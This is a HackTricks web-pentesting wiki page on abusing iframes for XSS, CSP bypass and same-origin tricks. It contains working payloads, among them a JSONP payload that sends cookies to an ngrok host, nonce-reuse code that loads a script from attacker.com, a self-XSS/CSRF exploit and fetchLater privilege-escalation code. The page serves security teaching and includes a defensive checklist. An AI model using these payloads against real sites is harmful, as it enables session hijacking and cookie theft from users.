iframes-in-xss-and-csp.md (18564B)
1 --- 2 title: "Iframes in XSS, CSP and SOP" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Iframes in XSS, CSP and SOP 14 15 ## Iframes in XSS 16 17 There are 3 ways to indicate the content of an iframed page: 18 19 - Via `src` indicating an URL (the URL may be cross origin or same origin) 20 - Via `src` indicating the content using the `data:` protocol 21 - Via `srcdoc` indicating the content 22 23 **Accessing parent and child variables** 24 25 ```html 26 <html> 27 <script> 28 var secret = "31337s3cr37t" 29 </script> 30 31 <iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe> 32 <iframe id="if2" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/child.html"></iframe> 33 <iframe 34 id="if3" 35 srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe> 36 <iframe 37 id="if4" 38 src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe> 39 40 <script> 41 function access_children_vars() { 42 alert(if1.secret) 43 alert(if2.secret) 44 alert(if3.secret) 45 alert(if4.secret) 46 } 47 setTimeout(access_children_vars, 3000) 48 </script> 49 </html> 50 ``` 51 52 ```html 53 <!-- content of child.html --> 54 <script> 55 var secret = "child secret" 56 alert(parent.secret) 57 </script> 58 ``` 59 60 If you access the previous html via a http server (like `python3 -m http.server`) you will notice that all the scripts will be executed (as there is no CSP preventing it)., **the parent won’t be able to access the `secret` var inside any iframe** and **only the iframes if2 & if3 (which are considered to be same-site) can access the secret** in the original window.\ 61 Note how if4 is considered to have `null` origin. 62 63 ### `srcdoc` quirks that matter in real exploits 64 65 Two details around `srcdoc` are easy to miss during exploitation:<sup>[[8]](#references)</sup> 66 67 - Unless the frame is sandboxed without `allow-same-origin`, a `srcdoc` document is **same-origin with the parent**. Therefore, injecting attacker-controlled HTML into `srcdoc` is usually equivalent to giving it direct DOM access to the top document. 68 - Even though the document URL is `about:srcdoc`, **relative URLs are resolved using the embedding page URL as the base URL**. This means payloads such as `<script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//upload/payload.js"></script>` or `<img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//internal/debug">` will target the parent origin, not `about:srcdoc`. 69 70 Practical payload: 71 72 ```html 73 <iframe 74 srcdoc='<script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//uploads/payload.js"></script><a href="#test">anchor</a>'></iframe> 75 ``` 76 77 This is specially useful when you only control markup but know a same-origin path that returns attacker-controlled JavaScript, JSONP, or HTML without a restrictive CSP. 78 79 ### Iframes with CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a> 80 81 > [!TIP] 82 > Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution. 83 84 The `self` value of `script-src` won’t allow the execution of the JS code using the `data:` protocol or the `srcdoc` attribute.\ 85 However, even the `none` value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the `src` attribute.\ 86 Therefore it’s possible to bypass the CSP of a page with: 87 88 ```html 89 <html> 90 <head> 91 <meta 92 http-equiv="Content-Security-Policy" 93 content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" /> 94 </head> 95 <script> 96 var secret = "31337s3cr37t" 97 </script> 98 <iframe id="if1" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/child.html"></iframe> 99 <iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe> 100 <iframe 101 id="if3" 102 srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe> 103 <iframe 104 id="if4" 105 src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe> 106 </html> 107 ``` 108 109 Note how the **previous CSP only permits the execution of the inline script**.\ 110 However, **only `if1` and `if2` scripts are going to be executed but only `if1` will be able to access the parent secret**. 111 112  113 114 Therefore, it’s possible to **bypass a CSP if you can upload a JS file to the server and load it via iframe even with `script-src 'none'`**. This can **potentially be also done abusing a same-site JSONP endpoint**. 115 116 You can test this with the following scenario were a cookie is stolen even with `script-src 'none'`. Just run the application and access it with your browser: 117 118 ```python 119 import flask 120 from flask import Flask 121 app = Flask(__name__) 122 123 @app.route("/") 124 def index(): 125 resp = flask.Response('<html><iframe id="if1" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/cookie_s.html"></iframe></html>') 126 resp.headers['Content-Security-Policy'] = "script-src 'self'" 127 resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET' 128 return resp 129 130 @app.route("/cookie_s.html") 131 def cookie_s(): 132 return "<script>alert(document.cookie)</script>" 133 134 if __name__ == "__main__": 135 app.run() 136 ``` 137 138 #### New (2023-2025) CSP bypass techniques with iframes 139 140 The research community continues to discover creative ways of abusing iframes to defeat restrictive policies. Below you can find the most notable techniques published during the last few years: 141 142 * **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – When an application reflects HTML but a strong CSP blocks script execution, you can still leak sensitive tokens by injecting a *dangling* `<iframe name>` attribute. Once the partial markup is parsed, the attacker script running in a separate origin navigates the frame to `about:blank` and reads `window.name`, which now contains everything up to the next quote character (for example a CSRF token). Because no JavaScript runs in the victim context, the attack usually evades `script-src 'none'`.<sup>[[2]](#references)</sup> A minimal PoC is: 143 144 ```html 145 <!-- Injection point just before a sensitive <script> --> 146 <iframe name="//attacker.com/?"> <!-- attribute intentionally left open --> 147 ``` 148 ```javascript 149 // attacker.com frame 150 const victim = window.frames[0]; 151 victim.location = 'about:blank'; 152 console.log(victim.name); // → leaked value 153 ``` 154 155 * **Nonce reuse via same-origin iframe** – CSP nonces are readable from the DOM by same-origin documents. If an attacker can inject or upload a *same-origin* HTML page and load it in an iframe, the child frame can read `top.document.querySelector('[nonce]').nonce` and mint new `<script nonce>` elements. This turns a same-origin HTML injection into full script execution even under `strict-dynamic` (because the nonce is already trusted). The following gadget escalates a markup injection into XSS: 156 157 ```javascript 158 const n = top.document.querySelector('[nonce]').nonce; 159 const s = top.document.createElement('script'); 160 s.src = '//attacker.com/pwn.js'; 161 s.nonce = n; 162 top.document.body.appendChild(s); 163 ``` 164 165 * **Form-action hijacking (PortSwigger 2024)** – A page that omits the `form-action` directive can have its login form *re-targeted* from an injected iframe or inline HTML so that password managers auto-fill and submit credentials to an external domain, even when `script-src 'none'` is present. Always complement `default-src` with `form-action`!<sup>[[1]](#references)</sup> 166 167 **Defensive notes (quick checklist)** 168 169 1. Always send *all* CSP directives that control secondary contexts (`form-action`, `frame-src`, `child-src`, `object-src`, etc.). 170 2. Do not rely on nonces being secret—use `strict-dynamic` **and** eliminate injection points. 171 3. When you must embed untrusted documents use `sandbox="allow-scripts allow-same-origin"` **very carefully** (or without `allow-same-origin` if you only need script execution isolation). 172 4. Consider a defense-in-depth COOP+COEP deployment; the new `<iframe credentialless>` attribute (§ below) lets you do so without breaking third-party embeds. 173 174 ### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a> 175 176 ```html 177 <!-- This one requires the data: scheme to be allowed --> 178 <iframe 179 srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe> 180 <!-- This one injects JS in a jsonp endppoint --> 181 <iframe srcdoc=' 182 <script src="https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src//jsonp%3Fcallback%3D%28function%28%29%7Bwindow.top.location.href%3D%60http%3A/f6a81b32f7f7.ngrok.io/cooookie%60%2Bdocument.cookie%3B%7D%29%28%29%3B/README.md"></script> 183 <!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)--> 184 <iframe 185 src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe> 186 ``` 187 188 ### Iframe sandbox 189 190 The content within an iframe can be subjected to additional restrictions through the use of the `sandbox` attribute. By default, this attribute is not applied, meaning no restrictions are in place. 191 192 When utilized, the `sandbox` attribute imposes several limitations:<sup>[[7]](#references)</sup> 193 194 - The content is treated as if it originates from a unique source. 195 - Any attempt to submit forms is blocked. 196 - Execution of scripts is prohibited. 197 - Access to certain APIs is disabled. 198 - It prevents links from interacting with other browsing contexts. 199 - Use of plugins via `<embed>`, `<object>`, `<applet>`, or similar tags is disallowed. 200 - Navigation of the content's top-level browsing context by the content itself is prevented. 201 - Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked. 202 203 Tip: Modern browsers support granular flags such as `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, etc. Combine them to grant only the minimum capabilities required by the embedded application. 204 205 The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions. 206 207 ```html 208 <!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) --> 209 <iframe sandbox="allow-scripts" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/demo_iframe_sandbox.htm"></iframe> 210 ``` 211 212 If the embedded page is **same-origin** and you grant both `allow-scripts` and `allow-same-origin`, the sandbox becomes a very weak boundary. The child can execute JavaScript, access `top.document`, and even remove the `sandbox` attribute from its own `<iframe>` element: 213 214 ```javascript 215 const me = top.document.querySelector("iframe") 216 me.removeAttribute("sandbox") 217 top.location = "/admin" 218 ``` 219 220 In practice, `sandbox="allow-scripts allow-same-origin"` should be treated as **unsafe for attacker-influenced same-origin content**. It is still useful for some third-party embeds, but it is not an isolation boundary against hostile same-origin HTML. 221 222 ### Credentialless iframes 223 224 As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.<sup>[[4]](#references)</sup> 225 226 Since **Chrome 110 (February 2023) the feature is enabled by default** and the spec is being standardized across browsers under the name *anonymous iframe*. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”.<sup>[[3]](#references)[[5]](#references)</sup> Consequences for attackers and defenders: 227 228 * Scripts in different credentialless iframes **still share the same top-level origin** and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below). 229 * Because the network is **credential-stripped**, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope. 230 * Storage is **partitioned by a top-level document nonce**: credentialless frames on the same page can share storage with each other, but it is cleared when the top-level document is discarded. 231 * Pop-ups spawned from a credentialless iframe get an implicit `rel="noopener"`, breaking some OAuth flows. 232 * Browsers are expected to **disable autofill/password managers** inside credentialless iframes, limiting credential theft via autofill in these contexts. 233 234 ```javascript 235 // PoC: two same-origin credentialless iframes stealing cookies set by a third 236 window.top[1].document.cookie = 'foo=bar'; // write 237 alert(window.top[2].document.cookie); // read -> foo=bar 238 ``` 239 240 - Exploit example: Self-XSS + CSRF 241 242 In this attack, the attacker prepares a malicious webpage with 2 iframes: 243 244 - An iframe loads the victim's page with the `credentialless` flag and a CSRF that triggers XSS (for example, self-XSS in the user's username): 245 ```html 246 <html> 247 <body> 248 <form action="http://victim.domain/login" method="POST"> 249 <input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" /> 250 <input type="hidden" name="password" value="Super_s@fe_password" /> 251 <input type="submit" value="Submit request" /> 252 </form> 253 <script> 254 document.forms[0].submit(); 255 </script> 256 </body> 257 </html> 258 ``` 259 260 - Another iframe that actually has the user logged in (without the `credentialless` flag). 261 262 Then, from the XSS it's possible to access the other iframe as they have the same SOP and steal the cookie for example executing: 263 264 ```javascript 265 alert(window.top[1].document.cookie); 266 ``` 267 268 ### fetchLater Attack 269 270 As indicated in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) the API `fetchLater` allows configuring a request to be executed later. This can be abused to, for example, login a victim inside an attacker's session (with Self-XSS), schedule a `fetchLater` request (to change the password of the current user for example), and logout from the attacker's session. Then, when the victim logs into their own session, the deferred request can execute using the cookies available at dispatch time, changing the password of the victim to the one set by the attacker.<sup>[[4]](#references)</sup> 271 272 Operational notes:<sup>[[6]](#references)</sup> 273 274 - `fetchLater` entered Chrome origin trial in 2024 and shipped in Chrome 135 (April 2025), so feature-detect before relying on it. 275 - The response is **not** available to JavaScript; body/headers are ignored once the deferred request is sent. 276 - CSP enforcement uses `connect-src` (not `script-src`) for deferred requests. 277 - Requests fire on page unload or when `activateAfter` expires (whichever happens first). 278 - The maximum single delay is currently `299000` ms, so long waits require re-scheduling several deferred requests. 279 280 This way even if the victim URL cannot be loaded in an iframe (due to CSP or other restrictions), the attacker can still execute a request in the victim's session. 281 282 283 ```javascript 284 var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"}) 285 for (let i = 1; i <= 20; i++) 286 fetchLater(req,{activateAfter: i * 299000}) 287 ``` 288 289 290 ## Iframes in SOP 291 292 Check the following pages: 293 294 295 [Bypassing Sop With Iframes 1](/hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1) 296 297 298 [Bypassing Sop With Iframes 2](/hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2) 299 300 301 [Blocking Main Page To Steal Postmessage](/hacktricks/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage) 302 303 304 [Steal Postmessage Modifying Iframe Location](/hacktricks/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location) 305 306 307 ## References 308 309 - [1] [PortSwigger Research – Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp) 310 - [2] [PortSwigger Research – Bypassing CSP with dangling iframes (Jun 2022)](https://portswigger.net/research/bypassing-csp-with-dangling-iframes) 311 - [3] [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless) 312 - [4] [Slonser – Make Self-XSS Great Again](https://blog.slonser.info/posts/make-self-xss-great-again/) 313 - [5] [MDN – IFrame credentialless](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/IFrame_credentialless) 314 - [6] [MDN – Window.fetchLater()](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetchLater) 315 - [7] [MDN – `<iframe>` element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/iframe) 316 - [8] [MDN – `HTMLIFrameElement.srcdoc`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLIFrameElement/srcdoc)